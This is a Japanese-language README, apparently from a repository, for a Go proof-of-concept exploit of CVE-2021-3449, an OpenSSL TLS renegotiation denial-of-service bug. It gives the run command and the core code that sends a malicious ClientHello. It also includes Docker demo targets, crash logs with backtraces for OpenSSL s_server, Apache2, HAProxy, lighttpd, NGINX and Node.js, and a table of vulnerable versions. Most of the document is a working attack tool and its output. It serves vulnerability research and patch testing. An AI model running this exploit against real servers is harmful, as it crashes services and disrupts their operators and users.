
CVE-2021-3449 OpenSSL サービス拒否エクスプロイト 👨🏻💻
使用方法: go run . -host hostname:port
このプログラムは、TLSv1.2 のセキュア再ネゴシエーションが受け入れられる場合に、OpenSSL サーバー (1.1.1k より前) に影響を与える CVE-2021-3449 の概念実証 (PoC) エクスプロイトです。
TLSv1.2 サーバーに接続し、直ちに RFC 5746 の「セキュア再ネゴシエーション」を開始します。この攻撃は、悪意を持って細工された ClientHello を送信して NULL ポインタ参照 (サービス拒否) を引き起こし、サーバーをクラッシュさせます。
この問題は 2021 年 3 月 17 日に Nokia から OpenSSL に報告されました。修正は Nokia の Peter Kästle と Samuel Sapalski によって開発されました。
既知の修正方法は libssl1.1 を更新することのみです。
一部のアプリケーションはデフォルトで TLS 再ネゴシエーションを無効化する堅牢な TLS 設定を使用していますが、古い OpenSSL バージョンを実行している場合、このバグの影響を受けます。
main.go は TLS サーバーに接続し、再ネゴシエーションを強制して切断する小さなスクリプトです。
エクスプロイトコードは、バンドルされた Go 1.14.15 の encoding/tls パッケージに注入されています。handshake_client.go:115 にあります。ロジックは一目瞭然です。
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
if c.handshakes == 0 {
println("sending initial ClientHello")
hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
} else {
// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
// if the supported_signature_algorithms extension is omitted,
// but supported_signature_algorithms_cert is present.
println("sending malicious ClientHello")
hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
}
}
– @terorie
demo/ ディレクトリには、さまざまなアプリを脆弱なバージョンの OpenSSL でパッチするための設定が含まれています。
テストセットアップ:
要件:
build-essential (Perl、GCC、Make)注: リストされている Web サーバーのいずれも、OpenSSL 1.1.1k 以降では CVE-2021-3449 の影響を受けません。
すべてのデモリソースをクリーンアップするには、make clean を実行します。
openssl s_server は最小限の TLS サーバー実装です。
make demo-openssl: フル実行 (ポート 4433)make -C demo build-openssl: ターゲット Docker イメージをビルドmake -C demo start-openssl: ターゲットをポート 4433 で起動make -C demo stop-openssl: ターゲットを停止結果: サーバー全体がクラッシュ。
ログ
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello
[[truncated]]
Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1 0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2 0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3 0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4 0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5 0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6 0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7 0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8 0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9 0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked
デフォルト設定の Apache2 httpd Web サーバーは脆弱です。
make demo-apache: フル実行 (ポート 443)make -C demo build-apache: ターゲット Docker イメージをビルドmake -C demo start-apache: ターゲットをポート 443 で起動make -C demo stop-apache: ターゲットを停止貢献してくれた @binarytrails に感謝します。
結果: 部分的な障害。メインプロセスは生存しているが、ワーカープロセスがクラッシュ。
ログ
docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &
[[truncated]]
sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2
HAProxy バージョン 2.0.13 以降は影響を受けません。
少なくとも 1.8.8 より前のバージョンは、「intermediate」TLS 設定で脆弱です。
make demo-haproxy: フル実行 (ポート 4433)make -C demo build-haproxy: ターゲット Docker イメージをビルドmake -C demo start-haproxy: ターゲットをポート 4433 で起動make -C demo stop-haproxy: ターゲットを停止テストはマスターワーカーモード (-W フラグ、Debian ではデフォルト) で実行されました。驚くべきことに、ワーカープロセスが終了するとマスタープロセスも終了します。
結果: サーバー全体がクラッシュ。
ログ
docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)
lighttpd バージョン 1.4.56 以降は、lighttpd.conf で ssl.disable-client-renegotiation = "enable" が設定されている場合、脆弱ではありません。
「intermediate」TLS 設定の lighttpd Web サーバー (<= 1.4.55) は脆弱です。
make demo-lighttpd: フル実行 (ポート 4433)make -C demo build-lighttpd: ターゲット Docker イメージをビルドmake -C demo start-lighttpd: ターゲットをポート 4433 で起動make -C demo stop-lighttpd: ターゲットを停止結果: サーバー全体がクラッシュ。
ログ
docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1: 7 Segmentation fault lighttpd -D -f /etc/lighttpd/lighttpd.conf
NGINX バージョン 1.18.0 以降は脆弱ではありません。
一般的な設定の NGINX 1.14.0 Web サーバーは脆弱です。(https://nginxconfig.io)
OpenSSL >=1.1.1 を使用する NGINX バージョン >1.15.4 は、SSL_OP_NO_RENEGOTIATION パッチを含むため、問題ないと想定されます:
http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html
make demo-nginx: フル実行 (ポート 4433)make -C demo build-nginx: ターゲット Docker イメージをビルドmake -C demo start-nginx: ターゲットをポート 4433 で起動make -C demo stop-nginx: ターゲットを停止結果: 部分的な障害。メインプロセスは生存しているが、ワーカープロセスがクラッシュ。
ログ
docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)
Node.js の https.createServer() は脆弱です。
make demo-nodejs: フル実行 (ポート 4433)make -C demo build-nodejs: ターゲット Docker イメージをビルドmake -C demo start-nodejs: ターゲットをポート 4433 で起動make -C demo stop-nodejs: ターゲットを停止結果: サーバー全体がクラッシュ。
ログ
server started
sending initial ClientHello
connected
sending malicious ClientHello
Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0 0x000000000160714e in tls1_process_sigalgs ()
#1 0x00000000016074b3 in tls1_set_server_sigalgs ()
#2 0x00000000016007dd in tls_post_process_client_hello ()
#3 0x00000000015ef692 in state_machine.part ()
#4 0x00000000015c1a6d in ssl3_read_bytes ()
#5 0x00000000015ca2c7 in ssl3_read ()
#6 0x00000000015d6491 in SSL_read ()
#7 0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8 0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9 0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF
このリポジトリには、Go プログラミング言語の encoding/tls パッケージがバンドルされています。
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
| サーバー | ディストリビューション | バージョン | デモ | 結果 |
|---|
| OpenSSL s_server | - | 1.1.1j | make demo-openssl | クラッシュ |
| Apache2 | Ubuntu 18.04 | 2.4.29 | make demo-apache2 | 部分クラッシュ |
| HAProxy | Ubuntu 18.04 | 1.8.8 | make demo-haproxy | クラッシュ |
| HAProxy | Ubuntu 20.04 | 2.0.13 | make demo-haproxy | 影響なし |
| lighttpd | Ubuntu 18.04 | 1.4.55 | make demo-lighttpd | クラッシュ |
| lighttpd | Ubuntu 20.04 | 1.4.55 | make demo-lighttpd | クラッシュ |
| lighttpd | Ubuntu 21.04 | 1.4.59 | make demo-lighttpd | 設定オプションで影響なし |
| NGINX | Ubuntu 18.04 | 1.14.0 | make demo-nginx | 部分クラッシュ |
| NGINX | Ubuntu 20.04 | 1.18.0 | make demo-nginx | 影響なし |
| Node.js <=12 | Ubuntu 18.04 | 影響なし | ||
| Node.js >12 | Ubuntu 18.04 | ? | make demo-nodejs | クラッシュ |
| Node.js >12 | Ubuntu 18.04 | 15.14.0 | make demo-nodejs | 影響なし |